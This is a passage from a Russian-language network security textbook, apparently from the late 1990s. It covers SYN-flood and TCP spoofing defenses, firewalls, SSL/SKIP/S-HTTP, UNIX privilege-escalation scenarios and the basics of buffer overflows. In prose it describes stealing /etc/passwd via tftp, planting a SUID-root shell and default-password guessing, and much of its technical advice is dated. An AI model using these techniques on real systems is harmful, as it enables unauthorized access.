Единственное, что можно предложить для повышения надежности работы системы, подвергаемой данной атаке, – использовать как можно более мощные компьютеры. Чем больше число и частота работы процессоров, чем больше объем оперативной памяти, тем более надежной будет работа сетевой ОС, когда на нее обрушится направленный шторм ложных запросов на создание соединения. Кроме того, необходимо использование соответствующих вашим вычислительным мощностям операционных систем с внутренней очередью, способной вместить большое число запросов на подключение. Ведь если вы, например, установите на суперкомпьютер операционную систему Windows NT, у которой средняя длина очереди для одновременно обрабатываемых запросов около 50, а тайм-аут очистки очереди равен 9 секундам, то, несмотря на все вычислительные мощности компьютера, ОС будет полностью парализована атакующим (см. главу 4).

Общий вывод по противодействию данной атаки в существующем стандарте IPv4 следующий: просто расслабьтесь и надейтесь на то, что вы ни для кого не представляете интереса, или купите мощный компьютер с соответствующей сетевой ОС.

Защита от подмены одной из сторон

Как отмечалось ранее, единственным базовым протоколом семейства TCP/ IP, в котором изначально предусмотрена функция обеспечения безопасности соединения и его абонентов, является протокол транспортного уровня – протокол TCP. Что касается базовых протоколов прикладного уровня (FTP, TELNET, r-служба, NFS, HTTP, DNS, SMTP), то ни один из них не предусматривает дополнительной защиты соединения на своем уровне, и решение всех проблем по обеспечению безопасности соединения останется за протоколом более низкого транспортного уровня – TCP. Однако, вспомнив о возможных атаках на TCP-соединение, рассмотренных в разделе «Подмена одного из субъектов TCP-соединения в сети Internet», несложно сделать вывод: при использовании базовых протоколов семейства TCP/IP обеспечить безопасность соединения практически невозможно. Это происходит из-за того, что, к сожалению, все базовые протоколы сети Internet сильно устарели с точки зрения обеспечения информационной безопасности.

Единственное, что можно порекомендовать сетевым администраторам для защиты только от межсегментных атак на соединения, – в качестве базового «защищенного» протокола использовать протокол TCP и сетевые ОС, в которых начальное значение идентификатора TCP-соединения действительно генерируется случайным образом (неплохой псевдослучайный алгоритм генерации используется в последних версиях ОС FreeBSD). Подчеркнем, что здесь говорилось только о базовых протоколах семейства TCP/IP, а все защищенные протоколы типа SSL, S-HTTP, Kerberos и т. д. не являются базовыми.

Программно-аппаратные методы защиты от удаленных атак

К программно-аппаратным средствам обеспечения информационной безопасности средств связи в вычислительных сетях относятся:

• программно-аппаратные шифраторы сетевого трафика;

• методика Firewall, реализуемая на базе программно-аппаратных средств;

• защищенные сетевые криптопротоколы;

• программные средства обнаружения атак (IDS – Intrusion Detection Systеms) (см. главу 9);

• программные средства анализа защищенности (см. главу 9);

• защищенные сетевые ОС.

Существует огромное количество литературы, посвященной средствам защиты для использования в сети Internet (за последние несколько лет практически в любом номере компьютерного журнала встречаются статьи на эту тему).

Эти средства мы опишем по возможности кратко, чтобы не повторять хорошо известную всем информацию. При этом мы преследуем следующие цели: во-первых, еще раз вернуться к мифу об «абсолютной защите», которую якобы обеспечивают системы Firewall; во-вторых, сравнить существующие версии криптопротоколов, применяемых в Internet, и дать оценку критическому, по сути, положению в этой области.

Методика Firewall

В общем случае методика Firewall как основное программно-аппаратное средство осуществления сетевой политики безопасности в выделенном сегменте IP-сети реализует следующие основные функции.

1. Многоуровневая фильтрация сетевого трафика

Фильтрация обычно происходит на четырех уровнях OSI:

1. Канальном (Ethernet).

2. Сетевом (IP).

3. Транспортном (TCP, UDP).

4. Прикладном (FTP, TELNET, HTTP, SMTP и т. д.).

Фильтрация сетевого трафика является основной функцией систем Firewall и позволяет администратору безопасности сети централизованно осуществлять необходимую сетевую политику в выделенном сегменте IP-сети, то есть, настроив соответствующим образом Firewall, можно разрешить или запретить пользователям как доступ из внешней сети к соответствующим службам хостов или к хостам, находящимся в защищаемом сегменте, так и доступ пользователей из внутренней сети к соответствующим ресурсам внешней сети. Можно провести аналогию с администратором локальной ОС, который для осуществления политики безопасности в системе назначает необходимым образом соответствующие отношения между субъектами (пользователями) и объектами системы (файлами, например), что позволяет разграничить доступ субъектов системы к ее объектам в соответствии с заданными администратором правами доступа. Те же рассуждения применимы к Firewall-фильтрации: в качестве субъектов взаимодействия будут выступать IP-адреса хостов пользователей, а в качестве объектов, доступ к которым необходимо разграничить, – IP-адреса хостов, используемые транспортные протоколы и службы предоставления удаленного доступа.

2. Proxy-схема с дополнительной идентификацией и аутентификацией пользователей на Firewall-хосте

Proxy-схема позволяет, во-первых, при доступе к защищенному Firewall сегменту сети осуществить на нем дополнительную идентификацию и аутентификацию удаленного пользователя и, во-вторых, является основой для создания приватных сетей с виртуальными IP-адресами. Смысл proxy-схемы заключается в создании соединения с конечным адресатом через промежуточный proxy-сервер (в переводе с англ. «proxy» – полномочный) на хосте Firewall.

3. Создание приватных сетей с «виртуальными» IP-адресами

Если администратор безопасности сети считает целесообразным скрыть истинную топологию своей внутренней IP-сети, то ему можно порекомендовать использовать системы Firewall для создания виртуальных сетей с применением технологии NAT (Network Address Translation). Для адресации во внешнюю сеть через Firewall необходимо либо использовать на хосте Firewall описанные выше proxy-серверы, либо применять только специальные системы маршрутизации (через которые и возможна внешняя адресация). Это происходит из-за того, что используемый во внутренней приватной сети «виртуальный» IP-адрес, очевидно, непригоден для внешней адресации, то есть адресации к абонентам, находящимся за ее пределами. Поэтому proxy-сервер должен осуществлять связь с абонентами из внешней сети со своего настоящего IP-адреса. Кстати, эта схема удобна в том случае, если вам для создания IP-сети выделили недостаточное количество IP-адресов: в стандарте IPv4 это случается сплошь и рядом, поэтому для полноценной IP-сети с использованием proxy-схемы достаточно одного выделенного IP-адреса для proxy-сервера.

Итак, любое устройство, реализующее хотя бы одну из этих функций Firewall-методики, и является Firewall-устройством. Например, ничто не мешает вам использовать в качестве Firewall-хоста компьютер с обычной ОС FreeBSD или Linux, у которой соответствующим образом нужно скомпилировать ядро ОС. Firewall такого типа будет обеспечивать только многоуровневую фильтрацию IP-трафика. Другое дело – предлагаемые на рынке мощные Firewall-комплексы, созданные на базе ЭВМ или мини-ЭВМ, обычно реализуют все функции Firewall-методики и являются полнофункциональными системами Firewall.

Но Firewall не является гарантией абсолютной защиты от удаленных атак в Internet. Эта система – не столько средство обеспечения безопасности, сколько возможность централизованно осуществлять сетевую политику разграничения удаленного доступа к ресурсам вашей сети. Да, в том случае, если, например, к данному хосту запрещен удаленный TELNET-доступ, Firewall однозначно предотвратит возможность такого доступа. Однако большинство удаленных атак имеют совершенно другие цели (бессмысленно пытаться получить определенный вид доступа, если он запрещен системой Firewall). Действительно, зададим себе вопрос, а какие из рассмотренных удаленных атак может предотвратить Firewall? Анализ сетевого трафика? Очевидно, нет! Ложный ARP-сервер? И да, и нет (для защиты вовсе не обязательно использовать Firewall). Ложный DNS-сервер? Нет, к сожалению, Firewall вам тут не помощник. Навязывание ложного маршрута при помощи протокола ICMP? Да, эту атаку путем фильтрации ICMP-сообщений Firewall легко отразит (хотя достаточно будет фильтрующего маршрутизатора, например Cisco). Подмена одного из субъектов TCP-соединения? Ответ отрицательный – Firewall тут абсолютно ни при чем. Нарушение работоспособности хоста путем создания направленного шторма ложных запросов или переполнения очереди запросов? В этом случае применение Firewall только ухудшит дело. Взломщику достаточно атаковать только один Firewall, а не несколько хостов (это легко объясняется тем, что связь внутренних хостов с внешним миром возможна лишь через Firewall), чтобы вывести из строя (отрезать от внешнего мира) все хосты внутри защищенного Firewall-системой сегмента.

Из всего вышесказанного отнюдь не следует, что использование Firewall абсолютно бессмысленно. На данный момент этой методике (именно как методике) нет альтернативы. Однако нужно четко понимать и помнить ее основное назначение.

Программные методы защиты

К программным методам защиты можно отнести прежде всего защищенные криптопротоколы, с использованием которых появляется возможность надежной защиты соединения. Далее речь пойдет о существующих на сегодняшний день в Internet подходах и основных, уже разработанных, криптопротоколах.

SKIP-технология и криптопротоколы SSL, S-HTTP как основное средство защиты соединения и передаваемых данных в сети Internet

Прочитав главы 4–6, читатель, очевидно, уяснил, что одна из основных причин успеха удаленных атак на распределенные ВС кроется в использовании сетевых протоколов обмена, которые не могут надежно идентифицировать удаленные объекты, защитить соединение и передаваемые по нему данные. Поэтому совершенно естественно, что в процессе функционирования Internet были созданы различные защищенные сетевые протоколы, использующие криптографию как с закрытым, так и с открытым ключом. Классическая криптография с симметричными криптоалгоритмами предполагает наличие у передающей и принимающей сторон симметричных (одинаковых) ключей для шифрования и дешифрирования сообщений. Эти ключи заранее должны быть распределены между конечным числом абонентов, что в криптографии называется стандартной проблемой статического распределения ключей. Очевидно, что применение классической криптографии с симметричными ключами возможно лишь на ограниченном множестве объектов. В сети Internet для всех ее пользователей решить проблему статического распределения ключей не представляется возможным. Однако одним из первых защищенных протоколов обмена в Internet был протокол Kerberos, основанный именно на статическом распределении ключей для конечного числа абонентов. Таким же путем, используя классическую симметричную криптографию, вынуждены идти наши спецслужбы, разрабатывающие свои защищенные криптопротоколы для Internet. Итак, чтобы дать возможность защититься всему множеству пользователей сети Internet, а не ограниченному его подмножеству, необходимо использовать динамически вырабатываемые в процессе создания виртуального соединения ключи, применяя криптографию с открытым ключом (см. главу 6 и [7]). Далее мы рассмотрим основные на сегодняшний день подходы и протоколы, обеспечивающие защиту соединения.

SKIP-технологией (Secure Key Internet Protocol – Internet-протокол с защищенным ключом) называется стандарт инкапсуляции IP-пакетов, позволяющий в существующем стандарте IPv4 на сетевом уровне обеспечить защиту соединения и передаваемых по нему данных. Это достигается следующим образом: SKIP-пакет – это обычный IP-пакет, его поле данных представляет собой SKIP-заголовок определенного спецификацией формата и криптограмму (зашифрованные данные). Такая структура SKIP-пакета позволяет беспрепятственно направлять его любому хосту в Internet (межсетевая адресация происходит по обычному IP-заголовку в SKIP-пакете). Конечный получатель SKIP-пакета по заранее определенному разработчиками алгоритму расшифровывает криптограмму и формирует обычный TCP– или UDP-пакет, который и передает соответствующему обычному модулю (TCP или UDP) ядра операционной системы. В принципе ничто не мешает разработчику формировать по данной схеме свой оригинальный заголовок, отличный от SKIP-заголовка.

S-HTTP (Secure HTTP – защищенный HTTP) – это защищенный HTTP-протокол, разработанный компанией Enterprise Integration Technologies (EIT) специально для Web. Протокол S-HTTP позволяет обеспечить надежную криптозащиту только HTTP-документов Web-сервера и функционирует на прикладном уровне модели OSI. Такая особенность протокола делает его абсолютно специализированным средством защиты соединения, следовательно, его применение для защиты всех остальных прикладных протоколов (FTP, TELNET, SMTP и др.) невозможно. Кроме того, ни один из существующих на сегодняшний день основных Web-браузеров (ни Netscape Navigator, ни Microsoft Explorer) не поддерживает данный протокол.

SSL (Secure Socket Layer – защищенные скрытые гнезда) – разработка компании Netscape – универсальный протокол защиты соединения, функционирующий на сеансовом уровне OSI. Он использует криптографию с открытым ключом и на сегодняшний день, по нашему мнению, является единственным универсальным средством, позволяющим динамически защитить какое угодно соединение с применением любого прикладного протокола (DNS, FTP, TELNET, SMTP и т. д.). Это связано с тем, что SSL, в отличие от S-HTTP, функционирует на промежуточном сеансовом уровне OSI – между транспортным (TCP, UDP) и прикладным (FTP, TELNET). При этом процесс создания виртуального SSL-соединения происходит по схеме Диффи и Хеллмана (см. главу 6), которая позволяет выработать криптостойкий сеансовый ключ, используемый в дальнейшем абонентами SSL-соединения для шифрования передаваемых сообщений.

Протокол SSL уже практически оформился в качестве официального стандарта защиты для HTTP-соединений, то есть для защиты Web-серверов. Его поддерживают, естественно, Netscape Navigator и, как ни странно, Microsoft Explorer (вспомним ожесточенную войну браузеров компаний Netscape и Microsoft). Конечно, для установки SSL-соединения с Web-сервером еще необходимо и наличие Web-сервера, поддерживающего SSL (например, SSL-Apachе).

Завершая рассказ о протоколе SSL, нельзя не отметить следующий факт: законами США до недавнего времени был запрещен экспорт криптосистем с длиной ключа более 40 бит (не так давно лимит был увеличен до 56 бит), поэтому в существующих версиях браузеров используются именно 40-битные ключи. Проведя эксперименты, криптоаналитики выяснили, что в имеющейся версии протокола SSL шифрование с использованием 40-битного ключа не является надежной защитой для передаваемых по сети сообщений, так как путем простого перебора (240 комбинаций) этот ключ подбирается за время от 1,5 (на суперкомпьютере Silicon Graphics) до 7 суток (в вычислениях было задействовано 120 рабочих станций и несколько мини-ЭВМ).

Итак, очевидно, что повсеместное применение защищенных протоколов обмена, особенно SSL (конечно, с длиной ключа более 40 бит), поставит надежный барьер на пути всевозможных удаленных атак и серьезно усложнит жизнь кракеров всего мира. Однако весь трагизм сегодняшней ситуации с обеспечением безопасности в Internet состоит в том, что пока ни один из существующих криптопротоколов (а их уже немало) не оформился в качестве единого стандарта защиты соединения, который поддерживался бы всеми производителями сетевых ОС. Протокол SSL подходит на эту роль наилучшим образом, но его не поддерживают все сетевые ОС. Поэтому были созданы специальные прикладные SSL-совместимые серверы (DNS, FTP, TELNET, WWW и др.). Если не договориться о принятии единого стандарта на защищенный протокол сеансового уровня, то тогда нужно принимать многие стандарты на защиту каждой отдельной прикладной службы. Например, уже разработан экспериментальный протокол Secure DNS. Также существуют экспериментальные SSL-совместимые Secure FTP– и TELNET-серверы. Но все это без принятия единого стандарта на защищенный протокол не имеет абсолютно никакого смысла. В настоящее время производители сетевых ОС не могут договориться о единой позиции по этому вопросу и тем самым перекладывают решение проблемы непосредственно на пользователей Internet.

Часть III Операционные системы и приложения

Глава 9 Прошлое и настоящее сетевых операционных систем

Извечной и зловещей мечтой вирусов является абсолютное мировое господство, и, как ни ужасны методы, коими они в настоящее время пользуются, им нельзя отказать в настойчивости, изобретательности и способности к самопожертвованию во имя великой цели.
А. Стругацкий, Б. Стругацкий. Сказка о тройке

В предыдущей части книги были рассмотрены протоколы TCP/IP и показаны их слабые стороны с точки зрения безопасности. Эти протоколы (соответственно и изъяны в них) являются в большей степени независимыми от конкретной их реализации в операционных системах или программах, то есть любая из них в той или иной степени небезопасна. При этом неудачная реализация протоколов еще больше усиливает заложенную в них уязвимость.

Однако протоколы никогда не являлись непосредственной целью атаки кракера. Его действия всегда направлены на определенный компьютер с конкретной реализаций протоколов TCP/IP, с конкретной операционной системой и конкретным набором приложений, поэтому нетрудно предположить, что хакеры также занимаются исследованием особенностей разных ОС и приложений. Ясно, что такие атаки будут специфичными не только для конкретных ОС и программ, но и для их версий и диалектов, хотя и в этом случае можно выделить некоторые общие механизмы атак, классифицировать их и те уязвимости ОС, которые делают подобные атаки возможными.

Пришло время рассмотреть сетевые операционные системы, составляющие большинство в сегодняшней Сети, – семейства UNIX и Windows.

Internet – это сеть UNIX-машин. Такое утверждение является не совсем справедливым в наше время, когда успех и конкурентоспособность операционной системы напрямую зависят от того, насколько легко они интегрируются в Сеть. Однако сеть Internet (вернее, ее прадед – ARPANET) возникла именно из необходимости связать между собой UNIX-компьютеры, которые были самыми распространенными и прогрессивными в то время. (Кстати, UNIX-идеология наложила свой отпечаток и на все основные сетевые протоколы.) Мы ни в коем случае не хотим принизить значение принципов построения UNIX для развития операционных систем, но общеизвестно, что у этой ОС в ее классическом варианте слишком много проблем с безопасностью, причем проблемы настолько глубоки, что корректное и надежное их искоренение приведет к перерождению UNIX как таковой – это будет новая операционная система. Много пролито слез по этому поводу: «Ах, если бы разработчики UNIX уделили больше внимания безопасности». Но не следует забывать, что все концепции UNIX прорабатывались в начале 70-х годов, когда практически не было никакой теории компьютерной безопасности, а создатели и вовсе делали ее «под себя», не подозревая, насколько теснее (появятся сети) и опаснее (появятся кракеры) станет компьютерный мир через несколько лет.

Следовательно, современные операционные системы (Novell Netware, Windows NT) оказываются в заведомо более выгодном положении – они разрабатывались, во-первых, с учетом ошибок UNIX и современной ситуации с безопасностью сетей, а во-вторых, сразу придерживались четкой концепции клиент – сервер, при которой, в частности, клиенту еще надо доказать, что он тот, за кого себя выдает. Из сказанного читатель может сделать вывод, что современные системы являются более безопасными, чем добрая старая UNIX. К сожалению, нет. И вряд ли кто-то может дать четкий ответ, какая же из ОС является более, а какая менее безопасной.

Да, у UNIX есть серьезные изъяны по части безопасности, и именно на UNIX были осуществлены самые громкие компьютерные атаки, однако она используется в качестве сетевой ОС с момента зарождения Сети, и опыт ее использования позволяет говорить о том, какого рода атаки на нее возможны, а какие – нет. Исследователями написаны, а администраторами изучены сотни статей и книг относительно механизмов безопасности UNIX и способов их нарушения, построены соответствующие классификации. Все это позволяет предположить, что никаких сюрпризов UNIX больше не преподнесет.

С новыми операционными системами ситуация в корне противоположная. Да, в них заложены концепции, согласующиеся с современным состоянием теории безопасности, – и мощные модели разграничения доступа, и надежная подсистема аутентификации, и аудит. Однако именно молодость делает ОС «темными лошадками», которые активно исследуются как хакерами, так и кракерами (а репутация фирм-производителей и агрессивная маркетинговая политика только активизируют их усилия). Похоже, что операционные системы, не совместимые с UNIX, несмотря на печальный опыт своей предшественницы, начинают проходить тот же самый путь и совершать те же самые ошибки в обеспечении безопасности (на другом витке спирали, естественно). И до окончательного вывода о качествах этих ОС еще далеко. Сравните – червь Морриса появился спустя 15 лет после выпуска UNIX и спустя 5 лет после включения в нее поддержки TCP/IP. А выход Windows NT 4.0 состоялся в 1996 году.

Описанию подсистемы безопасности, уязвимых мест, механизмов атак и защиты от них в двух самых популярных на сегодняшний день ОС – UNIX (различные версии) и Windows NT (версия 4.0) – и посвящена эта глава.

Классификация пользователей и типовых сценариев атак в UNIX

Рассмотрим основные пути получения взломщиком несанкционированного доступа на UNIX-компьютере.

Как известно, в UNIX различают два вида пользователей – обычный пользователь, имеющий права на доступ в рамках своего идентификатора ( UID, user id) и членства в группе (GID, group ID), и так называемый суперпользователь (root), имеющий неограниченные права (UID и GID у него равны специальному значению 0).

...

Каждый пользователь UNIX в текущий момент может быть членом только одной группы, поэтому он имеет один UID и один GID.

По мере развития ОС среди обычных пользователей выделились так называемые специальные пользователи. Они, как правило, имеют зарезервированные имена (например, guest, bin, uucp и т. п.) и номера UID и GID (например, меньше 100). Хотя в защите UNIX нет никакого особого механизма, отличающего специального пользователя от обычного, можно сказать, что первый имеет еще меньше прав, чем второй. В частности, специальным пользователям обычно нельзя зайти в систему нормальным образом. Самым интересным для нас примером специального пользователя является анонимный пользователь ftp, который так и называется – anonymous, или ftp.

Наконец, условно к категории пользователей можно отнести человека, удаленно подключившегося (обычно по протоколу TELNET) к вашей машине и взаимодействующего с одной из программ-демонов (в современной терминологии такие программы называются серверами). Эти программы обычно стартуют при загрузке машины, чаще всего от имени суперпользователя, и постоянно активны как процессы, что позволяет пользователю в любой момент удаленно подключаться к ним, но при этом он не имеет никаких прав на чтение/запись информации на вашем компьютере и вообще не идентифицируется системой UNIX (команда who). Однако он может исполнять некоторые команды – не программы UNIX, а команды-запросы к тому демону, к которому он подключен. Так, подключившись по протоколу TELNET на 25-й порт, можно вводить команды SMTP-сервера, например mail или expn. Последний тип пользователя (назовем его псевдопользователь) оказывается чуть ли не самым важным для нашего рассмотрения, так как, не обладая никакими правами и обязанностями (кстати, от него не требуется аутентификации, учет по нему тоже не ведется), он взаимодействует с демонами, которые практически всегда имеют полномочия суперпользователя.

Итак, условно иерархию пользователей на UNIX-машине можно представить следующим образом:

0. Суперпользователь – неограниченные права.

1. Обычный пользователь – права с ограничениями, установленными для него суперпользователем.

2. Специальный пользователь – права с ограничениями, установленными ему суперпользователем для работы с конкретным приложением.

3. Псевдопользователь – нет никаких прав, он вообще не идентифицируется системой.

Очевидно, что любой пользователь Internet всегда имеет привилегии третьего уровня на вашем хосте, а также, если поддерживается соответствующий сервис, привилегии второго уровня.

Таким образом, задачей хакера является несанкционированное получение привилегий более высокого уровня. (Заметим, что необязательно конечной целью хакера является получение именно привилегий суперпользователя – вирус Морриса, например, даже и не пытался сделать этого.) Эту задачу он, очевидно, может попытаться решить различными путями: либо получить сразу требуемые привилегии, либо постепенно наращивать их. Рассмотрим далее типовые сценарии получения привилегий и средства UNIX, делающие их возможными.

1. «Сразу в дамки» – имея привилегии третьего уровня, хакер получает права суперпользователя. Как уже отмечалось, такой фантастический прыжок возможен благодаря механизму демонов UNIX, отвечающих за обработку удаленных запросов. Так как эти демоны чаще всего выполняются от имени суперпользователя, то все, что нужно псевдопользователю, – это знать существующие «дыры» или ошибки в этих демонах (или найти самому), которые позволят эксплуатировать их нестандартным или запрещенным образом. Обычно это сводится к возможности удаленно выполнить от их имени любую команду на атакуемом хосте, какую конкретно – зависит от намерений и характера хакера. Иногда это может быть создание ошибочной ситуации, приводящей к аварийному завершению демона с выдачей дампа памяти на диск, содержащий весьма полезную для хакера информацию (например, кэшированные пароли). Типичными примерами уязвимых демонов были и остаются sendmail, ftpd, fingerd. Новые демоны (типа httpd или talkd) имеют гораздо меньшую историю эксплуатации, поэтому известно меньшее число их дыр и, соответственно, они перспективнее для поиска новых.

Такой сценарий был очень популярен на заре развития глобальных сетей, им пользовался вирус Морриса (см. в этой главе раздел «Червь»). Сейчас найти дыру такого рода в демонах очень трудно, хотя и можно. Хосты, допускающие атаку по этому сценарию, должны считаться катастрофически незащищенными.

2. «Из специального – в обычного, или выше». Этот сценарий очень похож на предыдущий, с тем исключением, что для хакера требуются начальные привилегии второго уровня (иначе говоря – запущен некоторый дополнительный сервис). Для четкого отличия таких атак от первого типа будем считать, что злоумышленник всегда проходит некую (пусть примитивную) идентификацию и, возможно, аутентификацию. Это не очень серьезное допущение, большинство хостов поддерживают некоторый удобный (например, анонимный ftp) или необходимый (типа tftp для удаленной загрузки бездисковых станций) сервис. Привилегии второго уровня могут дать возможность хакеру читать некоторые файлы (например, из ~ftp/pub) и, что самое главное, записывать свои файлы на ваш компьютер (в каталог типа ~ftp/incoming). С другой стороны, так как пользователь регистрируется на вашем компьютере, в его файлах-протоколах остается некоторая информация о подключении.

Типичным примером атаки по данному сценарию является атака, которая по протоколу tftp получает файл паролей /etc/passwd, а затем с его помощью подбираются пароли пользователей. Этот пример показывает, что необязательно желаемые привилегии будут получены немедленно, такие атаки могут лишь создать предпосылки для возможного их получения в дальнейшем.

Хосты, допускающие подобные атаки, также должны считаться катастрофически незащищенными в случае, если используемый в них сервис нельзя отключить без ущерба функционированию системы.

3. « Маловато будет: из обычного – в суперпользователи». Этот сценарий, пожалуй, наиболее прост и широко распространен. Подавляющее большинство сообщений о так называемых «дырах» в UNIX относится именно к нему. Для его осуществления злоумышленник должен уже быть обычным пользователем (иногда говорят, что он имеет бюджет, или account) на том компьютере, который он собирается взламывать. Это, с одной стороны, серьезное ограничение на масштабность проникновения, с другой стороны – большинство утечек информации происходит через «своих», через подкупленного сотрудника, который пусть и не имеет больших полномочий, но уж входное имя на секретный компьютер у него есть.

Своей осуществимостью атаки данного рода обязаны очередному недостатку безопасности UNIX, который называется механизмом SUID/ SGID-процессов. Не будем сейчас подробно останавливаться на необходимости и причинах появления такого механизма в этой операционной системе, отметим лишь, что многим системным программам (которые могут быть запущены любым, в том числе и непривилегированным пользователем) для правильного функционирования необходимы дополнительные полномочия. Приведем хрестоматийный пример изменения пользователем пароля самому себе. Не вызывает сомнения, что пользователь может иметь право на подобную операцию, однако в терминах UNIX это равносильно наличию права на запись в общий для всех пользователей файл /etc/ passwd, что, очевидно, недопустимо. Поэтому программа, осуществляющая смену пароля пользователя, выполняется не от имени запустившего его пользователя, а от имени суперпользователя (который, естественно, имеет право на запись в файл /etc/passwd). Для этого она обладает специальным атрибутом SUID/SGID, означающим смену идентификатора пользователя и/или группы у запущенного процесса.

Такая особенность UNIX, нарушающая, безусловно, исходную модель разграничения доступа, считалась бы «нехорошей», будь она всего у одной программы passwd. Однако оказывается, что этот атрибут необходим целому множеству программ, порой очень сложных. Отсюда ясно, что злоумышленник, найдя ошибку в одной из программ, обладающих атрибутом SUID root, может от ее (то есть суперпользователя) имени произвести некоторые действия. Стандартным приемом считается копирование файла с командным интерпретатором (sh или csh) и установка на него атрибута SUID root. Таким образом, злоумышленник имеет под рукой стандартную программу sh, но все команды в ней он исполняет от имени суперпользователя.

Ошибки в SUID/SGID-программах находятся регулярно, с частотой несколько раз в месяц. Следуя одной из основных аксиом программирования, можно сделать вывод, что эти ошибки будут находиться всегда. Соответственно, многие защищенные версии UNIX стремятся обезопасить себя от атак такого рода, сильно модифицировав SUID/SGID-механизм или вообще отказавшись от него.

Внимательный читатель заметил, что данный сценарий, вообще говоря, не является удаленной атакой по определению (и не будет подробно рассматриваться в примерах), но введен в классификацию из-за масштабности и фундаментальности – механизма SUID/SGID-процессов. Надо также помнить о том, что локальная атака легко становится удаленной, если злоумышленник подключается к компьютеру по протоколу TELNET – в этом смысле UNIX вообще не делает отличия локального пользователя от удаленного.

Поскольку любая система UNIX (использующая этот механизм) является уязвимой, то хосты, которые подвержены атакам такого класса, будем называть потенциально незащищенными.

4. «Он слишком многим доверял». Взлом производит обычно псевдопользователь, либо повышая свои полномочия до обычного, либо получая несанкционированный доступ к информации с использованием механизма доверия. Термин «доверие» (одна из важнейших брешей в безопасности UNIX) появился с тех пор, когда компьютерные системы строились на доверии друг другу. «Доверие» употребляется всякий раз, когда возникает ситуация, в которой хост может позволить пользователю (как правило, удаленному) применять локальные ресурсы без аутентификации или с явно недостаточной аутентификацией (без ввода пароля).

В UNIX существует много подсистем, использующих доверие. Наиболее простыми и часто применяемыми (даже против такого мастера, как Шимомура) из них являются так называемые r-службы (remote – удаленные). При наличии файлов. rhosts и hosts.equiv, содержащих имена хостов, доступ с них возможен без указания пароля. Аналогичным образом на механизме доверия построены, например, NFS-серверы, в управляющих (export) файлах которых можно разрешить доступ к некоему каталогу для группы пользователей, при этом удаленный пользователь никак не должен подтверждать свою причастность к данной группе. Как подчеркивал В. Венема в своей статье [22], «любая форма доверия может быть подменена, обманута или разрушена, особенно когда служба, получающая запросы на проверку клиента, расположена вне сервера или когда механизм доверия основан на слабой форме аутентификации».

Часто доступ к системе по данному сценарию возможен только при неправильных настройках соответствующих файлов (не будем сейчас подчеркивать, что эти настройки также могут быть внесены злоумышленником сознательно – см. атаку Митника), поэтому хосты, подверженные атакам такого класса, можно называть «слишком доверчивыми» или административно незащищенными.

Итак, подводя итог, повторим те механизмы и особенности UNIX, которые делают возможными удаленные атаки на эту ОС. Это, в первую очередь, наличие демонов, обеспечивающих обработку удаленных запросов. Чаще всего они запускаются от имени суперпользователя, и при неправильном функционировании его права могут быть получены удаленным пользователем. Во-вторых, это широкое использование механизма доверия, который может быть обманут удаленным пользователем. И, в-третьих, механизм SUID/SGID-процессов легко позволяет обычному пользователю получить привилегии другого пользователя или группы.

Наиболее интересные или известные способы проникновения в UNIX-системы мы опишем далее в хронологическом порядке.

Начало, или До червя

Вначале были хаос и анархия. Internet только зарождался, мировых глобальных сетей еще не было, базовые протоколы TCP/IP только появлялись и стандартизировались; в самом начале развития существовали все UNIX-службы: программы еще были сырыми и неотлаженными. Причем развитие происходило стихийно, независимо в разных местах, на разных версиях UNIX, после чего наиболее удачные начинания распространялись, сталкивались со своими конкурентами, переделывались и т. д. Весь этот процесс стандартизации сопровождался неизбежными компромиссами, особенно в системе безопасности, так как основными принципами UNIX всегда являлись простота, гибкость и переносимость, а они часто противоречат безопасности.

Нынешние кракеры, наверное, кусают себе локти, что родились не 10 лет назад, – ведь тогда хакером мог прослыть тот, кто умел методично перебирать адреса компьютеров и вводить в качестве имени и пароля что-нибудь типа guest/guest [10]. Видимо, большинство хостов (в том числе и военных – в те времена возможность проникновения в секретные хосты еще не являлась мифом) вскрывались именно так. Были известны стандартные входные имена, присутствующие в операционной системе при ее установке на компьютер (см. табл. 9.1). Особо продвинутые кракеры, скорее всего, догадывались вводить в качестве паролей наиболее распространенные имена, жаргонные словечки и т. п.

Интересно заметить, что большинство средств защиты многих современных ОС успешно борется именно с таким примитивным классом атак, называя его intruder detection (обнаружение нарушителей). В ОС после набора неправильного пароля обычно приняты задержка в несколько секунд, а также ограничение максимального числа неправильно набранных паролей подряд. Эти меры не позволяют взломщику удаленно перебирать пароли. (Естественно, что сегодня, если хакер и будет заниматься перебором, то не в реальном времени.) Но, видимо, в те далекие годы не было даже таких мер.

Таблица 9.1. Примеры имен и паролей по умолчанию в различных ОС

Технология переполнения буфера

Примерно в это же время хакерами был придуман способ передачи управления чужеродному коду, не только ставший классическим, но и по сей день являющийся основным методом эксплуатации многих уязвимостей как удаленно, так и локально. Он с успехом применялся и применяется в большинстве операционных систем. Первое нашумевшее его применение было в вирусе Морриса (см. раздел «Червь»), хотя наверняка и до этого способ открывался и переоткрывался (а может быть, и использовался) несколько раз.

Итак, одной из основных проблем, стоящей перед кракером, является необходимость исполнения написанного им (то есть вредного) кода на машине, которую он атакует. Иначе говоря, он должен указать компьютеру, с какого адреса размещается этот код, то есть занести в указатель команд (обычно он называется instruction pointer – IP) нужный ему адрес. Это, безусловно, может быть сделано штатными средствами операционной системы – путем запуска соответствующей программы. Но тут у кракера возникает две проблемы:

1. У него может не быть доступа на атакуемый компьютер, то есть возможности исполнения программ.

2. Даже если доступ (login) у него есть, то привилегий, данных ему, может оказаться недостаточно для выполнения некоторых функций того вредного кода, который он написал. Обычная цель кракера – получить полный контроль над машиной, что ему, естественно, просто так никто не даст.

Для решения этих проблем приходит в голову следующее: передать некоторому привилегированному процессу такие данные, которые интерпретировались бы им как код. При этом отсутствие доступа на компьютер решается передачей удаленных данных через демоны (сценарий 1 – любой пользователь Internet имеет такую возможность). Для выбора локальных привилегированных процессов (то есть при наличии доступа) также хорошо подходят демоны, если они запущены от имени суперпользователя или SUID root-программы (сценарий 3).

Итак, задача кракера уточнилась: ему необходима привилегированная программа, которая получает какие-то входные данные от непривилегированных пользователей. И дело за малым – осталось заставить программу исполнить эти данные как код. Как следует из названия раздела, такой прием получил название buffer overflow (в переводе «переполнение буфера», хотя более точно сказать «переполнение буфера в стеке»).

Рассмотрим его. Весьма часто в процедурах программист отводит для своих нужд некоторый локальный буфер, имеющий фиксированный размер. Этот размер обычно устанавливается исходя из здравого (или не очень здравого) смысла. Например, если читается строка с экрана, то программист может ограничить размер буфера 80 символами, имя файла на NTFS не должно содержать более 255 символов – именно такой буфер может быть отведен в этом случае и т. п.

Мы предположим, что программа получает некоторые данные извне. Пусть буфер необходим программисту для обработки этих данных. Тогда мы получим примерно следующий фрагмент кода:

